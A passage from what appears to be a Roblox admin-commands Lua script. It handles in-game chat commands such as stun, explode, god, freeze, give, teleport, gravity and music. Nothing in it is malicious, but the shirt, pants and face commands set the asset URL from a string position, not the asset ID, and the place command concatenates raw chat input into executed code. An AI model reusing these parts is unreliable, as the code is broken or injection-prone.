  1031. for i, v in pairs(plrz) do
  1032. coroutine.resume(coroutine.create(function()
  1033. if v and v.Character and v.Character:findFirstChild("Torso") then
  1034. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  1035. end
  1036. end))
  1037. end
  1038. end
  1039.  
  1040. if msg:lower():sub(1,5) == "stun " then
  1041. local plrz = GetPlr(plr, msg:lower():sub(6))
  1042. for i, v in pairs(plrz) do
  1043. coroutine.resume(coroutine.create(function()
  1044. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1045. v.Character.Humanoid.PlatformStand = true
  1046. end
  1047. end))
  1048. end
  1049. end
  1050.  
  1051. if msg:lower():sub(1,7) == "unstun " then
  1052. local plrz = GetPlr(plr, msg:lower():sub(8))
  1053. for i, v in pairs(plrz) do
  1054. coroutine.resume(coroutine.create(function()
  1055. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1056. v.Character.Humanoid.PlatformStand = false
  1057. end
  1058. end))
  1059. end
  1060. end
  1061.  
  1062. if msg:lower():sub(1,5) == "jump " then
  1063. local plrz = GetPlr(plr, msg:lower():sub(6))
  1064. for i, v in pairs(plrz) do
  1065. coroutine.resume(coroutine.create(function()
  1066. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1067. v.Character.Humanoid.Jump = true
  1068. end
  1069. end))
  1070. end
  1071. end
  1072.  
  1073. if msg:lower():sub(1,4) == "sit " then
  1074. local plrz = GetPlr(plr, msg:lower():sub(5))
  1075. for i, v in pairs(plrz) do
  1076. coroutine.resume(coroutine.create(function()
  1077. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1078. v.Character.Humanoid.Sit = true
  1079. end
  1080. end))
  1081. end
  1082. end
  1083.  
  1084. if msg:lower():sub(1,10) == "invisible " then
  1085. local plrz = GetPlr(plr, msg:lower():sub(11))
  1086. for i, v in pairs(plrz) do
  1087. coroutine.resume(coroutine.create(function()
  1088. if v and v.Character then
  1089. for a, obj in pairs(v.Character:children()) do
  1090. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1091. end
  1092. end
  1093. end))
  1094. end
  1095. end
  1096.  
  1097. if msg:lower():sub(1,8) == "visible " then
  1098. local plrz = GetPlr(plr, msg:lower():sub(9))
  1099. for i, v in pairs(plrz) do
  1100. coroutine.resume(coroutine.create(function()
  1101. if v and v.Character then
  1102. for a, obj in pairs(v.Character:children()) do
  1103. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1104. end
  1105. end
  1106. end))
  1107. end
  1108. end
  1109.  
  1110. if msg:lower():sub(1,5) == "lock " then
  1111. local plrz = GetPlr(plr, msg:lower():sub(6))
  1112. for i, v in pairs(plrz) do
  1113. coroutine.resume(coroutine.create(function()
  1114. if v and v.Character then
  1115. for a, obj in pairs(v.Character:children()) do
  1116. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1117. end
  1118. end
  1119. end))
  1120. end
  1121. end
  1122.  
  1123. if msg:lower():sub(1,7) == "unlock " then
  1124. local plrz = GetPlr(plr, msg:lower():sub(8))
  1125. for i, v in pairs(plrz) do
  1126. coroutine.resume(coroutine.create(function()
  1127. if v and v.Character then
  1128. for a, obj in pairs(v.Character:children()) do
  1129. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1130. end
  1131. end
  1132. end))
  1133. end
  1134. end
  1135.  
  1136. if msg:lower():sub(1,8) == "explode " then
  1137. local plrz = GetPlr(plr, msg:lower():sub(9))
  1138. for i, v in pairs(plrz) do
  1139. coroutine.resume(coroutine.create(function()
  1140. if v and v.Character and v.Character:findFirstChild("Torso") then
  1141. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1142. end
  1143. end))
  1144. end
  1145. end
  1146.  
  1147. if msg:lower():sub(1,4) == "age " then
  1148. local plrz = GetPlr(plr, msg:lower():sub(5))
  1149. for i, v in pairs(plrz) do
  1150. coroutine.resume(coroutine.create(function()
  1151. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1152. end))
  1153. end
  1154. end
  1155.  
  1156. if msg:lower():sub(1,5) == "fire " then
  1157. local plrz = GetPlr(plr, msg:lower():sub(6))
  1158. for i, v in pairs(plrz) do
  1159. coroutine.resume(coroutine.create(function()
  1160. if v and v.Character and v.Character:findFirstChild("Torso") then
  1161. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1162. end
  1163. end))
  1164. end
  1165. end
  1166.  
  1167. if msg:lower():sub(1,7) == "unfire " then
  1168. local plrz = GetPlr(plr, msg:lower():sub(8))
  1169. for i, v in pairs(plrz) do
  1170. coroutine.resume(coroutine.create(function()
  1171. if v and v.Character and v.Character:findFirstChild("Torso") then
  1172. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1173. end
  1174. end))
  1175. end
  1176. end
  1177.  
  1178. if msg:lower():sub(1,6) == "smoke " then
  1179. local plrz = GetPlr(plr, msg:lower():sub(7))
  1180. for i, v in pairs(plrz) do
  1181. coroutine.resume(coroutine.create(function()
  1182. if v and v.Character and v.Character:findFirstChild("Torso") then
  1183. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1184. end
  1185. end))
  1186. end
  1187. end
  1188.  
  1189. if msg:lower():sub(1,8) == "unsmoke " then
  1190. local plrz = GetPlr(plr, msg:lower():sub(9))
  1191. for i, v in pairs(plrz) do
  1192. coroutine.resume(coroutine.create(function()
  1193. if v and v.Character and v.Character:findFirstChild("Torso") then
  1194. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1195. end
  1196. end))
  1197. end
  1198. end
  1199.  
  1200. if msg:lower():sub(1,9) == "sparkles " then
  1201. local plrz = GetPlr(plr, msg:lower():sub(10))
  1202. for i, v in pairs(plrz) do
  1203. coroutine.resume(coroutine.create(function()
  1204. if v and v.Character and v.Character:findFirstChild("Torso") then
  1205. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1206. end
  1207. end))
  1208. end
  1209. end
  1210.  
  1211. if msg:lower():sub(1,11) == "unsparkles " then
  1212. local plrz = GetPlr(plr, msg:lower():sub(12))
  1213. for i, v in pairs(plrz) do
  1214. coroutine.resume(coroutine.create(function()
  1215. if v and v.Character and v.Character:findFirstChild("Torso") then
  1216. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1217. end
  1218. end))
  1219. end
  1220. end
  1221.  
  1222. if msg:lower():sub(1,3) == "ff " then
  1223. local plrz = GetPlr(plr, msg:lower():sub(4))
  1224. for i, v in pairs(plrz) do
  1225. coroutine.resume(coroutine.create(function()
  1226. if v and v.Character then Instance.new("ForceField", v.Character) end
  1227. end))
  1228. end
  1229. end
  1230.  
  1231. if msg:lower():sub(1,5) == "unff " then
  1232. local plrz = GetPlr(plr, msg:lower():sub(6))
  1233. for i, v in pairs(plrz) do
  1234. coroutine.resume(coroutine.create(function()
  1235. if v and v.Character then
  1236. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1237. end
  1238. end))
  1239. end
  1240. end
  1241.  
  1242. if msg:lower():sub(1,7) == "punish " then
  1243. local plrz = GetPlr(plr, msg:lower():sub(8))
  1244. for i, v in pairs(plrz) do
  1245. coroutine.resume(coroutine.create(function()
  1246. if v and v.Character then
  1247. v.Character.Parent = game:service("Lighting")
  1248. end
  1249. end))
  1250. end
  1251. end
  1252.  
  1253. if msg:lower():sub(1,9) == "unpunish " then
  1254. local plrz = GetPlr(plr, msg:lower():sub(10))
  1255. for i, v in pairs(plrz) do
  1256. coroutine.resume(coroutine.create(function()
  1257. if v and v.Character then
  1258. v.Character.Parent = game:service("Workspace")
  1259. v.Character:MakeJoints()
  1260. end
  1261. end))
  1262. end
  1263. end
  1264.  
  1265. if msg:lower():sub(1,7) == "freeze " then
  1266. local plrz = GetPlr(plr, msg:lower():sub(8))
  1267. for i, v in pairs(plrz) do
  1268. coroutine.resume(coroutine.create(function()
  1269. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1270. for a, obj in pairs(v.Character:children()) do
  1271. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1272. end
  1273. end
  1274. end))
  1275. end
  1276. end
  1277.  
  1278. if msg:lower():sub(1,5) == "thaw " then
  1279. local plrz = GetPlr(plr, msg:lower():sub(6))
  1280. for i, v in pairs(plrz) do
  1281. coroutine.resume(coroutine.create(function()
  1282. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1283. for a, obj in pairs(v.Character:children()) do
  1284. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1285. end
  1286. end
  1287. end))
  1288. end
  1289. end
  1290.  
  1291. if msg:lower():sub(1,5) == "heal " then
  1292. local plrz = GetPlr(plr, msg:lower():sub(6))
  1293. for i, v in pairs(plrz) do
  1294. coroutine.resume(coroutine.create(function()
  1295. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1296. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1297. end
  1298. end))
  1299. end
  1300. end
  1301.  
  1302. if msg:lower():sub(1,4) == "god " then
  1303. local plrz = GetPlr(plr, msg:lower():sub(5))
  1304. for i, v in pairs(plrz) do
  1305. coroutine.resume(coroutine.create(function()
  1306. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1307. v.Character.Humanoid.MaxHealth = math.huge
  1308. v.Character.Humanoid.Health = 9e9
  1309. end
  1310. end))
  1311. end
  1312. end
  1313.  
  1314. if msg:lower():sub(1,6) == "ungod " then
  1315. local plrz = GetPlr(plr, msg:lower():sub(7))
  1316. for i, v in pairs(plrz) do
  1317. coroutine.resume(coroutine.create(function()
  1318. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1319. v.Character.Humanoid.MaxHealth = 100
  1320. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1321. end
  1322. end))
  1323. end
  1324. end
  1325.  
  1326. if msg:lower():sub(1,8) == "ambient " then
  1327. local chk1 = msg:lower():sub(9):find(" ") + 8
  1328. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1329. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1330. end
  1331.  
  1332. if msg:lower():sub(1,11) == "brightness " then
  1333. game.Lighting.Brightness = msg:sub(12)
  1334. end
  1335.  
  1336. if msg:lower():sub(1,5) == "time " then
  1337. game.Lighting.TimeOfDay = msg:sub(6)
  1338. end
  1339.  
  1340. if msg:lower():sub(1,9) == "fogcolor " then
  1341. local chk1 = msg:lower():sub(10):find(" ") + 9
  1342. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1343. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1344. end
  1345.  
  1346. if msg:lower():sub(1,7) == "fogend " then
  1347. game.Lighting.FogEnd = msg:sub(8)
  1348. end
  1349.  
  1350. if msg:lower():sub(1,9) == "fogstart " then
  1351. game.Lighting.FogStart = msg:sub(10)
  1352. end
  1353.  
  1354. if msg:lower():sub(1,7) == "btools " then
  1355. local plrz = GetPlr(plr, msg:lower():sub(8))
  1356. for i, v in pairs(plrz) do
  1357. coroutine.resume(coroutine.create(function()
  1358. if v and v:findFirstChild("Backpack") then
  1359. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1360. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1361. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1362. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1363. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1364. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1365. local sb
  1366. local hs
  1367. local pdist
  1368.  
  1369. script.Parent.Selected:connect(function(mouse)
  1370. if not mouse then return end
  1371. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1372. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1373. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1374. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1375. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1376. end)
  1377.  
  1378. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1379. end
  1380. end))
  1381. end
  1382. end
  1383.  
  1384. if msg:lower():sub(1,12) == "startergive " then
  1385. local chk1 = msg:lower():sub(13):find(" ") + 12
  1386. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1387. for i, v in pairs(plrz) do
  1388. coroutine.resume(coroutine.create(function()
  1389. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1390. for a, tool in pairs(game.Lighting:children()) do
  1391. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1392. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1393. end
  1394. end
  1395. end
  1396. end))
  1397. end
  1398. end
  1399.  
  1400. if msg:lower():sub(1,5) == "give " then
  1401. local chk1 = msg:lower():sub(6):find(" ") + 5
  1402. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1403. for i, v in pairs(plrz) do
  1404. coroutine.resume(coroutine.create(function()
  1405. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1406. for a, tool in pairs(game.Lighting:children()) do
  1407. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1408. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1409. end
  1410. end
  1411. end
  1412. end))
  1413. end
  1414. end
  1415.  
  1416. if msg:lower():sub(1,12) == "removetools " then
  1417. local plrz = GetPlr(plr, msg:lower():sub(13))
  1418. for i, v in pairs(plrz) do
  1419. coroutine.resume(coroutine.create(function()
  1420. if v and v.Character and v:findFirstChild("Backpack") then
  1421. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1422. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1423. end
  1424. end))
  1425. end
  1426. end
  1427.  
  1428. if msg:lower():sub(1,5) == "rank " then
  1429. local chk1 = msg:lower():sub(6):find(" ") + 5
  1430. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1431. for i, v in pairs(plrz) do
  1432. coroutine.resume(coroutine.create(function()
  1433. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1434. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1435. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1436. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1437. end
  1438. end))
  1439. end
  1440. end
  1441.  
  1442. if msg:lower():sub(1,7) == "damage " then
  1443. local chk1 = msg:lower():sub(8):find(" ") + 7
  1444. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1445. for i, v in pairs(plrz) do
  1446. coroutine.resume(coroutine.create(function()
  1447. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1448. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1449. end
  1450. end))
  1451. end
  1452. end
  1453.  
  1454. if msg:lower():sub(1,5) == "grav " then
  1455. local plrz = GetPlr(plr, msg:lower():sub(6))
  1456. for i, v in pairs(plrz) do
  1457. coroutine.resume(coroutine.create(function()
  1458. if v and v.Character and v.Character:findFirstChild("Torso") then
  1459. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1460. end
  1461. end))
  1462. end
  1463. end
  1464.  
  1465. if msg:lower():sub(1,8) == "setgrav " then
  1466. local chk1 = msg:lower():sub(9):find(" ") + 8
  1467. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1468. for i, v in pairs(plrz) do
  1469. coroutine.resume(coroutine.create(function()
  1470. if v and v.Character and v.Character:findFirstChild("Torso") then
  1471. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1472. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1473. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1474. end
  1475. end))
  1476. end
  1477. end
  1478.  
  1479. if msg:lower():sub(1,7) == "nograv " then
  1480. local plrz = GetPlr(plr, msg:lower():sub(8))
  1481. for i, v in pairs(plrz) do
  1482. coroutine.resume(coroutine.create(function()
  1483. if v and v.Character and v.Character:findFirstChild("Torso") then
  1484. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1485. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1486. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1487. end
  1488. end))
  1489. end
  1490. end
  1491.  
  1492. if msg:lower():sub(1,7) == "health " then
  1493. local chk1 = msg:lower():sub(8):find(" ") + 7
  1494. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1495. for i, v in pairs(plrz) do
  1496. coroutine.resume(coroutine.create(function()
  1497. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1498. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1499. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1500. end
  1501. end))
  1502. end
  1503. end
  1504.  
  1505. if msg:lower():sub(1,6) == "speed " then
  1506. local chk1 = msg:lower():sub(7):find(" ") + 6
  1507. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1508. for i, v in pairs(plrz) do
  1509. coroutine.resume(coroutine.create(function()
  1510. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1511. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1512. end
  1513. end))
  1514. end
  1515. end
  1516.  
  1517. if msg:lower():sub(1,5) == "team " then
  1518. local chk1 = msg:lower():sub(6):find(" ") + 5
  1519. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1520. for i, v in pairs(plrz) do
  1521. coroutine.resume(coroutine.create(function()
  1522. if v and game:findFirstChild("Teams") then
  1523. for a, tm in pairs(game.Teams:children()) do
  1524. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1525. end
  1526. end
  1527. end))
  1528. end
  1529. end
  1530.  
  1531. if msg:lower():sub(1,6) == "place " then
  1532. local chk1 = msg:lower():sub(7):find(" ") + 6
  1533. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1534. for i, v in pairs(plrz) do
  1535. coroutine.resume(coroutine.create(function()
  1536. if v and v:findFirstChild("PlayerGui") then
  1537. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1538. end
  1539. end))
  1540. end
  1541. end
  1542.  
  1543. if msg:lower():sub(1,3) == "tp " then
  1544. local chk1 = msg:lower():sub(4):find(" ") + 3
  1545. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1546. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1547. for i, v in pairs(plrz) do
  1548. coroutine.resume(coroutine.create(function()
  1549. for i2, v2 in pairs(plrz2) do
  1550. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1551. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1552. end
  1553. end
  1554. end))
  1555. end
  1556. end
  1557.  
  1558. if msg:lower():sub(1,7) == "change " then
  1559. local chk1 = msg:lower():sub(8):find(" ") + 7
  1560. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1561. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1562. for i, v in pairs(plrz) do
  1563. coroutine.resume(coroutine.create(function()
  1564. if v and v:findFirstChild("leaderstats") then
  1565. for a, st in pairs(v.leaderstats:children()) do
  1566. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1567. end
  1568. end
  1569. end))
  1570. end
  1571. end
  1572.  
  1573. if msg:lower():sub(1,6) == "shirt " then
  1574. local chk1 = msg:lower():sub(7):find(" ") + 6
  1575. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1576. for i, v in pairs(plrz) do
  1577. coroutine.resume(coroutine.create(function()
  1578. if v and v.Character then
  1579. for i,v in pairs(v.Character:children()) do
  1580. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1581. end
  1582. end
  1583. end))
  1584. end
  1585. end
  1586.  
  1587. if msg:lower():sub(1,6) == "pants " then
  1588. local chk1 = msg:lower():sub(7):find(" ") + 6
  1589. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1590. for i, v in pairs(plrz) do
  1591. coroutine.resume(coroutine.create(function()
  1592. if v and v.Character then
  1593. for i,v in pairs(v.Character:children()) do
  1594. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1595. end
  1596. end
  1597. end))
  1598. end
  1599. end
  1600.  
  1601. if msg:lower():sub(1,5) == "face " then
  1602. local chk1 = msg:lower():sub(6):find(" ") + 5
  1603. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1604. for i, v in pairs(plrz) do
  1605. coroutine.resume(coroutine.create(function()
  1606. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1607. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1608. end
  1609. end))
  1610. end
  1611. end
  1612.  
  1613. ---------------------
  1614. -- FunCommands --
  1615. ---------------------
  1616. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1617.  
  1618. if msg:lower():sub(1,8) == "swagify " then
  1619. local plrz = GetPlr(plr, msg:lower():sub(9))
  1620. for i, v in pairs(plrz) do
  1621. coroutine.resume(coroutine.create(function()
  1622. if v and v.Character then
  1623. for i,v in pairs(v.Character:children()) do
  1624. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1625. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1626. end
  1627. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1628. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1629. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1630. local torso = plr.Character.Torso
  1631. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1632. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1633. p.Size = Vector3.new(.2,.2,.2)
  1634. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1635. local motor1 = Instance.new("Motor", p)
  1636. motor1.Part0 = p
  1637. motor1.Part1 = torso
  1638. motor1.MaxVelocity = .01
  1639. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1640. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1641. local wave = false
  1642. repeat wait(1/44)
  1643. local ang = 0.1
  1644. local oldmag = torso.Velocity.magnitude
  1645. local mv = .002
  1646. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1647. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1648. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1649. motor1.DesiredAngle = -ang
  1650. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1651. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1652. if torso.Velocity.magnitude < .1 then wait(.1) end
  1653. until not p or p.Parent ~= torso.Parent
  1654. script:Destroy()
  1655. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1656. end
  1657. end))
  1658. end
  1659. end
  1660.  
  1661. if msg:lower():sub(1,6) == "music " then
  1662. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1663. local id = msg:sub(7)
  1664. local pitch = 1
  1665. if tostring(id):lower():find("caramell") then id = 2303479 end
  1666. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1667. if tostring(id):find("rick") then id = 2027611 end
  1668. if tostring(id):find("halo") then id = 1034065 end
  1669. if tostring(id):find("pokemon") then id = 1372261 end
  1670. if tostring(id):find("cursed") then id = 1372257 end
  1671. if tostring(id):find("extreme") then id = 11420933 end
  1672. if tostring(id):find("awaken") then id = 27697277 end
  1673. if tostring(id):find("alone") then id = 27697392 end
  1674. if tostring(id):find("mario") then id = 1280470 end
  1675. if tostring(id):find("choir") then id = 1372258 end
  1676. if tostring(id):find("chrono") then id = 1280463 end
  1677. if tostring(id):find("dotr") then id = 11420922 end
  1678. if tostring(id):find("entertain") then id = 27697267 end
  1679. if tostring(id):find("fantasy") then id = 1280473 end
  1680. if tostring(id):find("final") then id = 1280414 end
  1681. if tostring(id):find("emblem") then id = 1372259 end
  1682. if tostring(id):find("flight") then id = 27697719 end
  1683. if tostring(id):find("banjo") then id = 27697298 end
  1684. if tostring(id):find("gothic") then id = 27697743 end
  1685. if tostring(id):find("hiphop") then id = 27697735 end
  1686. if tostring(id):find("intro") then id = 27697707 end
  1687. if tostring(id):find("mule") then id = 1077604 end
  1688. if tostring(id):find("film") then id = 27697713 end
  1689. if tostring(id):find("nezz") then id = 8610025 end
  1690. if tostring(id):find("angel") then id = 1372260 end
  1691. if tostring(id):find("resist") then id = 27697234 end
  1692. if tostring(id):find("schala") then id = 5985787 end
  1693. if tostring(id):find("organ") then id = 11231513 end
  1694. if tostring(id):find("tunnel") then id = 9650822 end
  1695. if tostring(id):find("spanish") then id = 5982975 end
  1696. if tostring(id):find("venom") then id = 1372262 end
  1697. if tostring(id):find("wind") then id = 1015394 end
  1698. if tostring(id):find("guitar") then id = 5986151 end
  1699. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1700. end
  1701.  
  1702. if msg:lower() == "stopmusic" then
  1703. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1704. end
  1705.  
  1706. if msg:lower() == "musiclist" then
  1707. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1708. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1709. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
